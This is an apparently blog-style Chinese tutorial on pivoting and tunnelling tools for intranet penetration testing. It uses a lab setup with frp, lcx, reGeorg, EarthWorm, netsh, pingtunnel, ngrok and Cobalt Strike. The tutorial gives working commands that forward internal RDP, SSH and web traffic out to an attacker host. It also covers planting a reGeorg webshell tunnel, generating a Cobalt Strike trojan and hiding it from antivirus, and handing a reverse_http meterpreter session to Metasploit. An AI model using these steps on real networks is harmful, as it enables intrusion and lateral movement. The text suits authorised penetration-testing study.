前言
本文章介紹內(nèi)網(wǎng)滲透中本人常用的一些隧道代理轉(zhuǎn)發(fā)工具。
環(huán)境搭建
環(huán)境配置坑點(diǎn):記得把內(nèi)網(wǎng)網(wǎng)卡的這個√取消掉,否則直接不同網(wǎng)段也能直接訪問到內(nèi)網(wǎng)...
win10_hacker: 192.168.29.139kali_hacker: 192.168.29.128windows(目標(biāo)服務(wù)器): (192.168.29.130、10.0.0.3)
winserver2003: 10.0.0.112
注:雙網(wǎng)卡的系統(tǒng)沒有固定用哪個,我這里使用windows,是因?yàn)槲艺伊撕脦讉€靶機(jī)最后手頭上只有win10能運(yùn)行,這里也可以使用linux作為被控制機(jī)器,沒有所謂,注意frp要使用對應(yīng)系統(tǒng)的版本即可。
工具清單
可轉(zhuǎn)發(fā)工具,這些是進(jìn)行內(nèi)網(wǎng)流量轉(zhuǎn)出的工具
Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs
可代理工具,這些是本地進(jìn)行流量轉(zhuǎn)換的工具
Proxifier(windows)
SocksCap(windows)
cs(windows)Proxychains(linux)#本文不做介紹
工具使用
注明:以下工具僅簡單介紹使用方法。
Frp
項(xiàng)目地址:https://github.com/fatedier/frp/
服務(wù)端:kali_hacker (192.168.29.128)
客戶端:windows(目標(biāo)服務(wù)器): (192.168.29.130、10.0.0.3)
將客戶端內(nèi)網(wǎng)中10.0.0.112:80的流量轉(zhuǎn)到服務(wù)端的6000端口中。
命令執(zhí)行
kali_hacker
vim frps.toml #自行修改端口號,不要與本機(jī)的端口號沖突即可#運(yùn)行命令./frps -c frps.toml
windows
#frpc.toml配置文件說明serverAddr:服務(wù)端地址
serverPort:服務(wù)端配置文件中bind綁定的端口
localIP:直接指定內(nèi)網(wǎng)中你要轉(zhuǎn)的的ip即可
localPort:將localIP的哪個端口號流量轉(zhuǎn)出來
remotePort:將流量轉(zhuǎn)進(jìn)服務(wù)端的哪個端口號
type:是表示你要進(jìn)行什么類型的流量轉(zhuǎn)發(fā),一般是tcp和http(后面介紹http)
customDomains:表示當(dāng)內(nèi)網(wǎng)信息轉(zhuǎn)過來的時候你希望以什么域名訪問,這里需要你修改hosts文件,將ip和域名進(jìn)行綁定。#運(yùn)行命令.\frpc.exe -c frpc.toml
下面是常用的配置,配置了http、tcp(rdp,ssh)
serverAddr = "192.168.29.128"
serverPort = 7000
[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"]
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000
[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000
實(shí)驗(yàn)
服務(wù)端運(yùn)行
修改hosts文件:對應(yīng)客戶端設(shè)置的域名和ip
(ip就是這臺kali機(jī)器所以可以寫127.0.0.1)
客戶端運(yùn)行
服務(wù)端訪問內(nèi)網(wǎng)
同理6000端口是內(nèi)網(wǎng)機(jī)器10.0.0.112的3389轉(zhuǎn)進(jìn)來的流量
Lcx
項(xiàng)目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91
windows_hacker:(192.168.29.139)
windows(目標(biāo)服務(wù)器): (192.168.29.130、10.0.0.3)
將windows內(nèi)網(wǎng)中的10.0.0.112:3389流量轉(zhuǎn)到windows_hacker的2222端口上,然后windows_hacker本地將2222端口轉(zhuǎn)到4444端口上。
命令執(zhí)行
windows_hacker
.\lcx.exe -listen 2222 4444
windows
.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389
實(shí)驗(yàn)
windows_hacker運(yùn)行
被控的windows主機(jī)運(yùn)行
windows_hacker遠(yuǎn)程桌面內(nèi)網(wǎng)機(jī)器
reGeorg
項(xiàng)目地址:
https://github.com/sensepost/reGeorg
windows_hacker:(192.168.29.139)
windows (目標(biāo)服務(wù)器):(192.168.29.130、10.0.0.3)
用腳本幫你將目標(biāo)機(jī)器windows 上的內(nèi)網(wǎng)信息通過socks隧道轉(zhuǎn)到windows_hacker的9999端口上來。
命令執(zhí)行
windows
將對應(yīng)站點(diǎn)開發(fā)語言的腳本傳到目標(biāo)服務(wù)器上,能訪問成功即可
(php開發(fā)的就傳php的腳本,即:tunnel.nosocket.php)
windows_hacker
需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php
實(shí)驗(yàn)
將文件上傳到目標(biāo)服務(wù)器后,在hacker機(jī)器上能訪問成功即可
使用python2環(huán)境運(yùn)行腳本
Proxifier
現(xiàn)在就已經(jīng)是成功轉(zhuǎn)出來了,只不過需要對轉(zhuǎn)出來的socks流量做一個轉(zhuǎn)換,轉(zhuǎn)換為本機(jī)可用的,因?yàn)槲覀冎纼?nèi)網(wǎng)有一個網(wǎng)站,需要轉(zhuǎn)成http流量進(jìn)行訪問。
使用Proxifier進(jìn)行一個本地流量轉(zhuǎn)換
1.添加代理服務(wù)器
2.添加代理規(guī)則
3.localhost選擇你之前配置好的代理服務(wù)器 127.0.0.1:9999
接著拿出你的瀏覽器訪問內(nèi)網(wǎng)ip即可了,這樣就相當(dāng)于將內(nèi)網(wǎng)流量徹底轉(zhuǎn)到你的機(jī)器上面來,而不是說單獨(dú)哪一個端口轉(zhuǎn)出來,這里隨心所欲逛內(nèi)網(wǎng)了,bp抓包都沒問題。
4.訪問成功
ew(EarthWorm)
項(xiàng)目地址:該工具已下架,很遺憾,接下來就來懷念一下這個工具吧。
(這款工具殺軟基本過不了,規(guī)則已公開)
windows_hacker:(192.168.29.139)
windows(目標(biāo)服務(wù)器):(192.168.29.130、10.0.0.3)
正向代理
命令執(zhí)行
windows_hacker: 用proxifier正向連接ip:端口
windows:ew.exe -s ssocksd -l 1080
實(shí)驗(yàn)
目標(biāo)服務(wù)器windows
注意1080是轉(zhuǎn)出的端口,后面正向連接要用這個端口
windows_hacker
:配置好目標(biāo)ip+端口就能訪問了,這款工具很迅速
反向代理
命令執(zhí)行
windows(目標(biāo)服務(wù)器): ew.exe -s rssocks -d 192.168.29.139 -e 888
windows_hacker: ew.exe -s rcsocks -l 1080 -e 888
意思是將目標(biāo)服務(wù)器的內(nèi)網(wǎng)環(huán)境通過888端口轉(zhuǎn)出到hacker的888,然后hacker將888轉(zhuǎn)到1080端口
實(shí)驗(yàn)
hacker機(jī)器先進(jìn)行監(jiān)聽,否則目標(biāo)服務(wù)器那邊會因流量轉(zhuǎn)不出執(zhí)行出錯
接著目標(biāo)服務(wù)器執(zhí)行\(zhòng)
就能看到hacker這邊有反應(yīng)顯示成功了
SocksCap
上面用了很多proxifier,那這里就用一下SocksCap
1.點(diǎn)擊代理,右鍵新增代理
2.導(dǎo)入程序的方式,自己選一個接受流量的程序,我們這里是為了訪問內(nèi)網(wǎng)的web服務(wù)就選擇瀏覽器訪問即可。
3.導(dǎo)入后就能打開訪問內(nèi)網(wǎng)網(wǎng)址了
netsh
建議在目標(biāo)服務(wù)器上做本地端口轉(zhuǎn)發(fā)接口,個人覺得本地端口轉(zhuǎn)發(fā)效果最佳。
命令執(zhí)行
目標(biāo)服務(wù)器:將內(nèi)網(wǎng)的10.0.0.112:80轉(zhuǎn)到本地的880,最好用該機(jī)器對外的ip地址。
netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80
pingtunnel
這里因?yàn)閣indows作為目標(biāo)路由服務(wù)器轉(zhuǎn)發(fā)內(nèi)網(wǎng)流量的實(shí)驗(yàn)失敗,所以改用linux。
(有成功的師傅可以留言給我看下是什么問題,學(xué)習(xí)學(xué)習(xí)~)
命令執(zhí)行
這里嘗試轉(zhuǎn)發(fā)內(nèi)網(wǎng)的3389端口流量出來即可,其他端口類似,這里不管是服務(wù)端還是客戶端,在哪個系統(tǒng)運(yùn)行都是一樣的參數(shù),只不過我這里服務(wù)端在windows上運(yùn)行接收不到客戶端發(fā)來的請求,依賴也安裝了具體原因沒找到,還是失敗,所以只能用linux來做服務(wù)端。
(有師傅成功了可以留言告知一聲~)
server
./pingtunnel -type server
client
socks類型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp類型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp類型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
這里解釋一下客戶端命令的格式:
-type
:代表是客戶端類型運(yùn)行的
-l
:前面省略了客戶端的ip則表示本地ip,表示本地回環(huán)地址,然后:后面接端口號,需要使用127.0.0.1進(jìn)行連接,而如果你指定客戶端的ip就需要用本機(jī)ip來進(jìn)行連接
(這里應(yīng)該是還可以轉(zhuǎn)發(fā)到其他ip上進(jìn)行進(jìn)一步利用的,這里沒有嘗試,有師傅嘗試成功可以評論區(qū)留言教一下我。)
-s
代表服務(wù)端
的域名或者ip
-t
代表服務(wù)端內(nèi)網(wǎng)某一個機(jī)器的ip與要轉(zhuǎn)發(fā)出來的端口號流量
實(shí)驗(yàn)
實(shí)驗(yàn)這里轉(zhuǎn)tcp流量出來,如果你要轉(zhuǎn)socks的話記得配合其它工具進(jìn)行轉(zhuǎn)換,比如linux用proxychains,windows用proxifier或其他等等工具,具體情況具體分析。
服務(wù)端
客戶端
成功轉(zhuǎn)出內(nèi)網(wǎng)server2003的3389流量
ngrok
這個ngrok是解決局域網(wǎng)的流量無法像公網(wǎng)那樣能訪問,但是這個內(nèi)網(wǎng)機(jī)器需要本身能夠出網(wǎng)的才行,相當(dāng)于你在家里面的局域網(wǎng)流量不是每一個人都能訪問得到,假如你搭建了一臺機(jī)器但是想讓其他地區(qū)人也能訪問到不用買公網(wǎng)ip,這樣的話ngrok是不錯的選擇。
在內(nèi)網(wǎng)滲透中用來解決內(nèi)網(wǎng)機(jī)器流量無法直接訪問這類問題也是一種手段。
這里隨便找一臺機(jī)器即可,這個機(jī)器需能訪問外網(wǎng),但外網(wǎng)無法直接訪問他
windows: 192.168.29.130
命令執(zhí)行&&實(shí)驗(yàn)
1.先去官網(wǎng)注冊一個賬號:
https://dashboard.ngrok.com/
2.登錄進(jìn)去后,接著進(jìn)入后下載對應(yīng)系統(tǒng)版本的ngrok到目標(biāo)機(jī)器上
3.把ngrok程序運(yùn)行起來,如下圖所示
運(yùn)行圖片
我這里將80端口映射出來
如果沒有看到綠色建立成功的話,運(yùn)行這條命令:ngrok http 80
。因?yàn)榭赡苣悴皇堑谝淮闻?,就需要這條命令,成功后你會看到如下圖所示的映射網(wǎng)址,直接訪問這個就行。
訪問網(wǎng)址后可能會是下圖這個樣子
你點(diǎn)擊visit后就看到你映射出來的站點(diǎn)了,或者你映射的是其他流量就用其他方式直接鏈接這個地址即可。
下圖可以看到我訪問成功了內(nèi)網(wǎng)中搭建的網(wǎng)站
ps:本人嘗試將3389端口流量映射出來當(dāng)遠(yuǎn)程鏈接,發(fā)現(xiàn)失敗了,具體原因沒找到,但測試后發(fā)現(xiàn)貌似只有將http這種網(wǎng)站映射出來效果最佳,所以要希望映射其他流量的話還是找其他工具進(jìn)行實(shí)現(xiàn)最好。
cs
這里很簡單,就是把木馬丟到目標(biāo)服務(wù)器上將shell轉(zhuǎn)過來即可,進(jìn)行內(nèi)網(wǎng)滲透最好還是在cs上線后將權(quán)限轉(zhuǎn)到msf上進(jìn)行后滲透操作效果最佳。
命令執(zhí)行
提前說明:服務(wù)端選擇linux,客戶端選擇windows,你也可以自行選擇不同搭配,服務(wù)端和客戶端都有提供兩種選擇,我個人比較常用這種搭配。
服務(wù)端
安裝jdk,建議安裝jdk8(安裝方法自行百度)
./teamserver 服務(wù)端ip 連接密碼
客戶端
安裝jdk,建議安裝jdk8(安裝方法自行百度)
./cs.bat
ps: teamserver也有提供windows的teamserver.bat運(yùn)行,同樣cs也有提供cs.sh運(yùn)行。
實(shí)驗(yàn)
服務(wù)端
客戶端
windows雙擊cs.bat文件即可
1.接著客戶端這邊生成木馬
首先創(chuàng)建監(jiān)聽器
如果沒有其他代理需求就按照下面配置即可(更多用法自行去百度)
選擇生成木馬后門
將木馬保存在一個免殺目錄中,不要被殺軟殺掉即可
2.將木馬上傳在目標(biāo)服務(wù)器上執(zhí)行即可,這里做實(shí)驗(yàn)就直接放虛擬機(jī)雙擊了
回到客戶端看cs就發(fā)現(xiàn)有主機(jī)上線了,甚至能看到他的兩張網(wǎng)卡,內(nèi)外網(wǎng)ip
3.這里最好是和msf聯(lián)動進(jìn)行內(nèi)網(wǎng)滲透效果最佳,所以這里我選擇讓cs增加一個會話轉(zhuǎn)到msf中
先運(yùn)行msfconsole
開啟msf,并創(chuàng)建監(jiān)聽器
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf監(jiān)聽的ip)192.168.29.128
set lport (msf監(jiān)聽的端口)4444
4.接著添加監(jiān)聽器
5.右鍵增加會話
接著選擇剛剛添加的msf監(jiān)聽器即可
msf已經(jīng)拿到shell了,后續(xù)就是看你玩msf玩的溜不溜就完事了。
本文介紹內(nèi)網(wǎng)搭建隧道代理的一些工具,拿到內(nèi)網(wǎng)環(huán)境后就可以進(jìn)行后滲透工作了
(當(dāng)然要遵守網(wǎng)絡(luò)安全法,在授權(quán)范圍下進(jìn)行)